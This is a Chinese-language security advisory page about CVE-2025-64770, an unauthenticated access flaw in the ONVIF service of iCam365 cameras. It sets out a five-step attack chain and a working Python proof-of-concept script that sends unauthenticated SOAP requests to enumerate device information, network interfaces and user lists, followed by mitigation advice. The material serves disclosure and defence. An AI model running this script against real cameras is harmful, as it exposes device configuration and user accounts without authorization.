IPBUF安全漏洞报告
English
CVE-2025-64770 CVSS 6.8 中危

CVE-2025-64770 iCam365 ONVIF服务未授权访问漏洞

披露日期: 2025-11-20

漏洞信息

漏洞编号
CVE-2025-64770
漏洞类型
未授权访问/身份验证绕过
CVSS评分
6.8 中危
攻击向量
邻接 (AV:A)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
iCam365摄像头产品(ONVIF兼容设备)

相关标签

CVE-2025-64770ONVIF未授权访问身份验证绕过网络摄像头物联网安全ICS-CERT工业控制系统iCam365

漏洞概述

CVE-2025-64770是影响特定摄像头产品的安全漏洞,源于ONVIF(Open Network Video Interface Forum)服务的身份验证机制缺陷。ONVIF是一个开放型网络视频接口论坛标准,广泛应用于网络摄像头的互联互通。该漏洞允许未经认证的攻击者访问受影响产品的ONVIF服务,从而获取摄像头配置信息。由于攻击向量为邻接网络,攻击者需要处于同一网络环境或能够访问目标网络。CVSS评分6.8表明该漏洞具有中等严重性,主要风险在于机密性影响(可获取敏感配置信息),而完整性和可用性影响相对较低。此漏洞由ICS-CERT发现并披露,属于工业控制系统安全范畴。攻击者无需高权限或用户交互即可利用此漏洞,降低了攻击门槛。

技术细节

该漏洞的根本原因在于ONVIF服务的访问控制策略配置不当。受影响设备默认启用了ONVIF服务,但未强制实施身份验证机制。ONVIF协议规范支持多种认证方式,包括HTTP基本认证和摘要认证,然而受影响的实现在处理ONVIF请求时跳过了认证验证步骤。攻击者可通过发送特制的SOAP请求到设备的ONVIF端点(通常为/onvif/service或/onvif/device_service)来触发漏洞。常见的攻击手法包括:1)发送GetDeviceInformation请求获取设备基本信息;2)使用GetNetworkInterfaces获取网络接口配置;3)调用GetUsers获取用户列表;4)通过GetProfiles获取视频配置文件。由于ONVIF服务通常监听在TCP端口554或8080,攻击者可在同一广播域内发起探测和利用。此漏洞与传统的默认凭据漏洞不同,属于协议实现缺陷导致的认证绕过。

攻击链分析

STEP 1
步骤1:网络侦察
攻击者位于邻接网络,使用网络扫描工具(如nmap)发现启用ONVIF服务的摄像头设备,识别开放端口554或8080
STEP 2
步骤2:ONVIF服务识别
向目标设备的/onvif/device_service或/onvif/service端点发送SOAP探测请求,确认ONVIF服务可用且版本信息
STEP 3
步骤3:未授权信息枚举
直接发送未认证的SOAP请求调用GetDeviceInformation、GetNetworkInterfaces、GetUsers等方法,获取设备敏感信息
STEP 4
步骤4:配置信息提取
通过GetProfiles获取视频配置文件,GetCapabilities获取设备能力列表,逐步构建完整的设备配置画像
STEP 5
步骤5:后续攻击准备
利用获取的配置信息(如默认凭据模式、用户列表、网络配置)进行进一步攻击,可能包括视频流劫持或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import xml.etree.ElementTree as ET # CVE-2025-64770 PoC - ONVIF Unauthenticated Access # Target: Affected camera products with ONVIF service ONVIF_NS = { 'onvif': 'http://www.onvif.org/ver10/device/wsdl', 'tt': 'http://www.onvif.org/ver10/schema' } def build_onvif_request(action): """Build ONVIF SOAP request without authentication""" templates = { 'GetDeviceInformation': '''<?xml version="1.0" encoding="UTF-8"?> <soap-env:Envelope xmlns:soap-env="http://www.w3.org/2003/05/soap-envelope"> <soap-env:Body> <GetDeviceInformation xmlns="http://www.onvif.org/ver10/device/wsdl"/> </soap-env:Body> </soap-env:Envelope>''', 'GetNetworkInterfaces': '''<?xml version="1.0" encoding="UTF-8"?> <soap-env:Envelope xmlns:soap-env="http://www.w3.org/2003/05/soap-envelope"> <soap-env:Body> <GetNetworkInterfaces xmlns="http://www.onvif.org/ver10/device/wsdl"/> </soap-env:Body> </soap-env:Envelope>''', 'GetUsers': '''<?xml version="1.0" encoding="UTF-8"?> <soap-env:Envelope xmlns:soap-env="http://www.w3.org/2003/05/soap-envelope"> <soap-env:Body> <GetUsers xmlns="http://www.onvif.org/ver10/device/wsdl"/> </soap-env:Body> </soap-env:Envelope>''', 'GetProfiles': '''<?xml version="1.0" encoding="UTF-8"?> <soap-env:Envelope xmlns:soap-env="http://www.w3.org/2003/05/soap-envelope"> <soap-env:Body> <GetProfiles xmlns="http://www.onvif.org/ver10/media/wsdl"/> </soap-env:Body> </soap-env:Envelope>''' } return templates.get(action, '') def exploit_cve_2025_64770(target_ip, port=554): """ Exploit CVE-2025-64770: Unauthenticated ONVIF access Args: target_ip: Target camera IP address port: ONVIF service port (default 554) """ endpoints = [ f"http://{target_ip}:{port}/onvif/device_service", f"http://{target_ip}:{port}/onvif/service" ] results = {} headers = { 'Content-Type': 'application/soap+xml; charset=utf-8', 'SOAPAction': 'http://www.onvif.org/ver10/device/wsdl/GetDeviceInformation' } for endpoint in endpoints: try: # Try GetDeviceInformation response = requests.post( endpoint, data=build_onvif_request('GetDeviceInformation'), headers=headers, timeout=10 ) if response.status_code == 200: results['endpoint'] = endpoint results['device_info'] = parse_device_info(response.text) results['vulnerable'] = True # Additional enumeration results['network_interfaces'] = get_network_info(endpoint) results['users'] = get_user_list(endpoint) break except requests.RequestException as e: continue return results def parse_device_info(xml_response): """Parse ONVIF GetDeviceInformation response""" try: root = ET.fromstring(xml_response) info = {} for elem in root.iter(): if elem.tag.endswith('Manufacturer'): info['manufacturer'] = elem.text elif elem.tag.endswith('Model'): info['model'] = elem.text elif elem.tag.endswith('FirmwareVersion'): info['firmware'] = elem.text elif elem.tag.endswith('SerialNumber'): info['serial'] = elem.text return info except: return {'error': 'Failed to parse response'} def get_network_info(endpoint): """Enumerate network interfaces via ONVIF""" headers = { 'Content-Type': 'application/soap+xml; charset=utf-8' } try: resp = requests.post(endpoint, data=build_onvif_request('GetNetworkInterfaces'), headers=headers, timeout=10) return resp.text if resp.status_code == 200 else 'Failed' except: return 'Request failed' def get_user_list(endpoint): """Enumerate users via ONVIF - exposes credential info""" headers = { 'Content-Type': 'application/soap+xml; charset=utf-8' } try: resp = requests.post(endpoint, data=build_onvif_request('GetUsers'), headers=headers, timeout=10) return resp.text if resp.status_code == 200 else 'Failed' except: return 'Request failed' if __name__ == '__main__': import sys if len(sys.argv) < 2: print('Usage: python cve_2025_64770.py <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 554 print(f'[*] Scanning {target} for CVE-2025-64770...') results = exploit_cve_2025_64770(target, port) if results.get('vulnerable'): print('[+] Target is VULNERABLE to CVE-2025-64770') print(f'[+] Working endpoint: {results["endpoint"]}') print(f'[+] Device Info: {results.get("device_info", {})}') else: print('[-] Target may not be vulnerable or ONVIF service not found')

影响范围

iCam365及相关ONVIF兼容摄像头产品(固件版本未明确披露)

防御指南

临时缓解措施
在厂商发布官方补丁前,建议采取以下临时措施:1)通过网络防火墙限制对摄像头ONVIF端口(554/8080)的访问,仅允许受信任的管理IP访问;2)禁用设备上的ONVIF功能(如果业务不需要);3)启用IEEE 802.1X网络访问控制防止未授权设备接入;4)监控网络流量,及时发现异常的ONVIF探测行为;5)考虑使用VPN或专用网络连接摄像头管理接口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表